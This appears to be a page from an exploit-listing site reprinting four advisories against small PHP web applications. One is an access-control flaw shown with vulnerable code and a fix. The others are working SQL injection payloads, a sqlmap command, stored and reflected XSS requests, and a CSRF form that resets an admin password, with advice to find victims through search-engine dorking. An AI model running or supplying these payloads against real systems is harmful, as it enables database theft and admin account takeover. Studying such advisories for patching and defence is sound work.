Latest exploits :: CodePwn

<pre><code># Exploit Title: Computer Laboratory Management System v1.0 - Incorrect access control # Date: 08 July 2024 # Exploit Author: Sampath kumar kadajari # Vendor Homepage: https://www.sourcecodester.com/php/17268/computer-laboratory-management-system-using-php-and-mysql.html # Software Link: https://www.sourcecodester.com/download-code?nid=17268&title=Computer+Laboratory+Management+System+using+PHP+and+MySQL # Version: v1.0 # CVE: CVE-2024-41332 # Tested on: Windows, XAMPP, Apache, MySQL ------------------------------------------------------------------------------------------------------------------------------------------- Incorrect access control in the delete_category function of Sourcecodester Computer Laboratory Management System v1.0 allows authenticated attackers with low-level privileges to perform arbitrarily delete actions. "Vulnerable Code" – ( classes/master.php) function delete_category(){ extract($_POST); $del = $this->conn->query("UPDATE `category_list` set `delete_flag` = 1 where id = '{$id}'"); if($del){ $resp['status'] = 'success'; $this->settings->set_flashdata('success'," Category successfully deleted."); }else{ $resp['status'] = 'failed'; $resp['error'] = $this->conn->error; } return json_encode($resp); } ---> Affected Component: http://localhost/php-lms/classes/Master.php?f=delete_category "Fix for Vulnerable Code": function delete_category(){ // Check if the user is logged in and has an admin role if (!isset($_SESSION['userdata']['role']) || $_SESSION['userdata']['role'] != 'admin') { $resp['status'] = 'failed'; $resp['error'] = 'Unauthorized access.'; return json_encode($resp); } // Proceed with the delete action if authorized extract($_POST); $del = $this->conn->query("UPDATE `category_list` set `delete_flag` = 1 where id = '{$id}'"); if($del){ $resp['status'] = 'success'; $this->settings->set_flashdata('success',"Category successfully deleted."); }else{ $resp['status'] = 'failed'; $resp['error'] = $this->conn->error; } return json_encode($resp); } </code></pre>

<pre><code>[x]========================================================================================================================================[x] | Title : Leads Manager Tool SQL & XSS[stored)] Vulnerabilities | Software : Leads Manager Tool Using PHP and MySQL with Source Code | Create By : https://www.sourcecodester.com/users/remyandrade | First Release: 25/01/22 | Download : https://www.sourcecodester.com/php/17510/leads-manager-tool-using-php-and-mysql-source-code.html | Date : 30 Agustus 2024 | Author : OoN_Boy [x]========================================================================================================================================[x] | Technology : PHP | Database : MySQL | Price : FREE | Description : Leads Manager Tool, a comprehensive web application designed to streamline the process of managing business leads. Built with the power of PHP and MySQL, this tool offers a seamless and user-friendly experience for storing, updating, and organizing lead information [x]========================================================================================================================================[x] [O] Exploit http://localhost/leads-manager-tool/endpoint/delete-leads.php?leads=[SQL] http://localhost/leads-manager-tool/endpoint/add-leads.php [O] Proof of concept [SQL] Parameter: leads (GET) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: leads= --emurate' RLIKE (SELECT (CASE WHEN (8305=8305) THEN 0x202d2d656d7572617465 ELSE 0x28 END))-- rUwl Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: leads= --emurate' OR (SELECT 1382 FROM(SELECT COUNT(*),CONCAT(0x7162787171,(SELECT (ELT(1382=1382,1))),0x7176706a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- vKls Type: stacked queries Title: MySQL >= 5.0.12 stacked queries (comment) Payload: leads= --emurate';SELECT SLEEP(5)# Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: leads= --emurate' AND (SELECT 1244 FROM (SELECT(SLEEP(5)))fAev)-- ZNBt [XSS] POST /leads-manager-tool/endpoint/add-leads.php HTTP/1.1 Host: 127.0.0.1 Accept-Encoding: gzip, deflate, br Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36 Connection: close Cache-Control: max-age=0 Origin: http://127.0.0.1 Upgrade-Insecure-Requests: 1 Referer: http://127.0.0.1/leads-manager-tool/ Content-Type: application/x-www-form-urlencoded Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="126", "Chromium";v="126" Sec-CH-UA-Platform: Windows Sec-CH-UA-Mobile: ?0 Content-Length: 85 leads_name=Vrs<script>alert(1)</script>Hck&email_add=vrs-hck@maho.id&phone_number=911-911-9111 [x]========================================================================================================================================[x] [O] Greetz BatamHacker, Vrs-hCk, c0li, h4ntu, Opay, Ndet, Ipay, Paman, NoGe, H312Y, dono, pizzyroot, zxvf, Joe Chawanua, k0rea [Ntc],xx_user, s3t4n, Angela Chang, IrcMafia, str0ke, em|nem, Pandoe, Ronny ^s0n g0ku^ [x]========================================================================================================================================[x] </code></pre>

<pre><code>[x]========================================================================================================================================[x] | Title : Readymade Unilevel Ecommerce MLM Blind SQL & XSS Vulnerabilities | Software : Readymade Unilevel Ecommerce | Last Update : 15/03/24 [TESTED VERSION SCRIPT] | First Release: 16/11/21 | Vendor : http://www.i-netsolution.com/ | Date : 01 Agustus 2024 | Author : OoN_Boy [x]========================================================================================================================================[x] | Technology : PHP | Database : MySQL | Price : $500 | Description : MLM Unilevel Plan Script developed by experts and professionals. Rather than building your business from the scratch, make use of our Unilevel MLM PHP Script to launch your MLM business. [x]========================================================================================================================================[x] [O] Exploit http://localhost/eommlm/product-details.php?id=11[SQL] http://localhost/ecomlm/product-details.php?id=11[XSS] [O] Proof of concept sqlmap.py -u "http://localhost/eommlm/product-details.php?id=11" --invalid-string [SQL] Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=11 AND 1189=1189 Type: stacked queries Title: MySQL >= 5.0.12 stacked queries (comment) Payload: id=11;SELECT SLEEP(10)# Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=11 AND (SELECT 6812 FROM (SELECT(SLEEP(10)))DddL) [XSS] http://localhost/ecomlm/product-details.php?id=11"><img/src/onerror=.1|alert`VrsHckGAY`+class=VrsHckGAY> [x]========================================================================================================================================[x] [O] Greetz BatamHacker, Vrs-hCk, c0li, h4ntu, Opay, Ndet, Ipay, Paman, NoGe, H312Y, dono, pizzyroot, zxvf, Joe Chawanua, k0rea [Ntc],xx_user, s3t4n, Angela Chang, IrcMafia, str0ke, em|nem, Pandoe, Ronny ^s0n g0ku^ [x]========================================================================================================================================[x] </code></pre>

<pre><code>============================================================================================================================================= | # Title : AccPack Cop v1.0 CSRF Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits) | | # Vendor : http://webpay.com.np/#Product | ============================================================================================================================================= poc : [+] Dorking İn Google Or Other Search Enggine. [+] The following HTML code modifies the admin information. [+] Go to the line 5. Set the target site link Save changes and apply . [+] infected file : cms/user/modify.php. [+] http://127.0.0.1/q7.3/cms/user/modify.php. [+] save code as poc.html [+] payload : </head> <body> <div class="container"> <div class="text-center" style="padding: 5px"><h3>User Edit</h3></div> <form action="https://tssclahanorgnp/cms/user/modify.php" method="POST" enctype="multipart/form-data"> <div hidden="true"> <input type="text" name="id" id="id" value="1"> </div> <div> <label for='email'>Email</label><input type="text" class="form-control" name='email' id='email' value="indoushka@mail.dz"> </div> <div> <label for='password'>Password</label><input type="text" class="form-control" name='password' id='password' type='password' value="123456"> </div> <tr> <div> <label for='status'>Status</label> <input type="radio" name="status" id="actiive" value="1" checked /> <label for="active">Active</label> <input type="radio" name="status" id="passive" value="0" /><label for="passive">Passive</label> </div> <div style='height:80'> <input type='submit' value='Submit'><input type='reset' Value='Reset'> </div> </form> </div> </body> </html> Greetings to :============================================================ jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr | ========================================================================== </code></pre>